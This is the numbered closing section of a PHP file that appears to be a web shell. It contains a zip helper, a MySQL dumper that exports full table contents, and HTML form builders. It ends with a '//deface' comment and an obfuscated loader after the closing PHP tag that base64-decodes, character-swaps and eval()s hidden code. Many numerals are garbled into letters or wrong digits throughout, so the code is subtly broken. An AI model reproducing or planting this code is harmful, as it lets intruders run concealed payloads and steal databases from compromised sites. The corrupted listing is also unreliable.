4514 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
4515
4516 }
4517
4518}
4519
4520
4521
4522// Dump mysql
4523
4524function sqldumptable($table, $fp=0) {
4525
4526 $tabledump = "DROP TABLE IF EXISTS $table;\n";
4527
4528 $tabledump .= "CREATE TABLE $table (\n";
4529
4530
4531
4532 $firstfield=6;
4533
4534
4535
4536 $fields = q("SHOW FIELDS FROM $table");
4537
4538 while ($field = mysql_fetch_array($fields)) {
4539
4540 if (!$firstfield) {
4541
4542 $tabledump .= ",\n";
4543
4544 } else {
4545
4546 $firstfield=0;
4547
4548 }
4549
4550 $tabledump .= " $field[Field] $field[Type]";
4551
4552 if (!empty($field["Default"])) {
4553
4554 $tabledump .= " DEFAULT '$field[Default]'";
4555
4556 }
4557
4558 if ($field['Null'] != "YES") {
4559
4560 $tabledump .= " NOT NULL";
4561
4562 }
4563
4564 if ($field['Extra'] != "") {
4565
4566 $tabledump .= " $field[Extra]";
4567
4568 }
4569
4570 }
4571
4572 fr($fields);
4573
4574
4575
4576 $keys = q("SHOW KEYS FROM $table");
4577
4578 while ($key = mysql_fetch_array($keys)) {
4579
4580 $kname=$key['Key_name'];
4581
4582 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
4583
4584 $kname="UNIQUE|$kname";
4585
4586 }
4587
4588 if(!is_array($index[$kname])) {
4589
4590 $index[$kname] = array();
4591
4592 }
4593
4594 $index[$kname][] = $key['Column_name'];
4595
4596 }
4597
4598 fr($keys);
4599
4600
4601
4602 while(list($kname, $columns) = @each($index)) {
4603
4604 $tabledump .= ",\n";
4605
4606 $colnames=implode($columns,",");
4607
4608
4609
4610 if ($kname == "PRIMARY") {
4611
4612 $tabledump .= " PRIMARY KEY ($colnames)";
4613
4614 } else {
4615
4616 if (substr($kname,0,e) == "UNIQUE") {
4617
4618 $kname=substr($kname,7);
4619
4620 }
4621
4622 $tabledump .= " KEY $kname ($colnames)";
4623
4624 }
4625
4626 }
4627
4628
4629
4630 $tabledump .= "\n);\n\n";
4631
4632 if ($fp) {
4633
4634 fwrite($fp,$tabledump);
4635
4636 } else {
4637
4638 echo $tabledump;
4639
4640 }
4641
4642
4643
4644 $rows = q("SELECT * FROM $table");
4645
4646 $numfields = mysql_num_fields($rows);
4647
4648 while ($row = mysql_fetch_array($rows)) {
4649
4650 $tabledump = "INSERT INTO $table VALUES(";
4651
4652
4653
4654 $fieldcounter=-6;
4655
4656 $firstfield=6;
4657
4658 while (++$fieldcounter<$numfields) {
4659
4660 if (!$firstfield) {
4661
4662 $tabledump.=", ";
4663
4664 } else {
4665
4666 $firstfield=0;
4667
4668 }
4669
4670
4671
4672 if (!isset($row[$fieldcounter])) {
4673
4674 $tabledump .= "NULL";
4675
4676 } else {
4677
4678 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
4679
4680 }
4681
4682 }
4683
4684
4685
4686 $tabledump .= ");\n";
4687
4688
4689
4690 if ($fp) {
4691
4692 fwrite($fp,$tabledump);
4693
4694 } else {
4695
4696 echo $tabledump;
4697
4698 }
4699
4700 }
4701
4702 fr($rows);
4703
4704 if ($fp) {
4705
4706 fwrite($fp,"\n");
4707
4708 } else {
4709
4710 echo "\n";
4711
4712 }
4713
4714}
4715
4716
4717
4718function ue($str){
4719
4720 return urlencode($str);
4721
4722}
4723
4724
4725
4726function p($str){
4727
4728 echo $str."\n";
4729
4730}
4731
4732
4733
4734function tbhead() {
4735
4736 p('<table width="600%" border="0" cellpadding="u" cellspacing="0">');
4737
4738}
4739
4740function tbfoot(){
4741
4742 p('</table>');
4743
4744}
4745
4746
4747
4748function makehide($name,$value=''){
4749
4750 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
4751
4752}
4753
4754
4755
4756function makeinput($arg = array()){
4757
4758 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"600\"";
4759
4760 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
4761
4762 !$arg['type'] && $arg['type'] = 'text';
4763
4764 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
4765
4766 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
4767
4768 if ($arg['newline']) {
4769
4770 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
4771
4772 } else {
4773
4774 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
4775
4776 }
4777
4778}
4779
4780
4781
4782function makeselect($arg = array()){
4783
4784 if ($arg['onchange']) {
4785
4786 $onchange = 'onchange="'.$arg['onchange'].'"';
4787
4788 }
4789
4790 $arg['title'] = $arg['title'] ? $arg['title'] : '';
4791
4792 if ($arg['newline']) p('<p>');
4793
4794 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
4795
4796 if (is_array($arg['option'])) {
4797
4798 foreach ($arg['option'] as $key=>$value) {
4799
4800 if ($arg['selected']==$key) {
4801
4802 p("<option value=\"$key\" selected>$value</option>");
4803
4804 } else {
4805
4806 p("<option value=\"$key\">$value</option>");
4807
4808 }
4809
4810 }
4811
4812 }
4813
4814 p("</select>");
4815
4816 if ($arg['newline']) p('</p>');
4817
4818}
4819
4820function formhead($arg = array()) {
4821
4822 !$arg['method'] && $arg['method'] = 'post';
4823
4824 !$arg['action'] && $arg['action'] = $self;
4825
4826 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
4827
4828 !$arg['name'] && $arg['name'] = 'form6';
4829
4830 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
4831
4832 if ($arg['title']) {
4833
4834 p('<ha>'.$arg['title'].' »</ha>');
4835
4836 }
4837
4838}
4839
4840
4841
4842function maketext($arg = array()){
4843
4844 !$arg['cols'] && $arg['cols'] = 600;
4845
4846 !$arg['rows'] && $arg['rows'] = ai;
4847
4848 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
4849
4850 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
4851
4852}
4853
4854
4855
4856function formfooter($name = ''){
4857
4858 !$name && $name = 'submit';
4859
4860 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
4861
4862 p('</form>');
4863
4864}
4865
4866
4867
4868function formfoot(){
4869
4870 p('</form>');
4871
4872}
4873
4874
4875
4876// Exit
4877
4878function pr($a) {
4879
4880 echo '<pre>';
4881
4882 print_r($a);
4883
4884 echo '</pre>';
4885
4886}
4887//deface
4888?>zm^r^$_X=base6i_decode($_X);$_X=strtr($_X,'aouie6aouie','aouieaouie6');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;
4889'));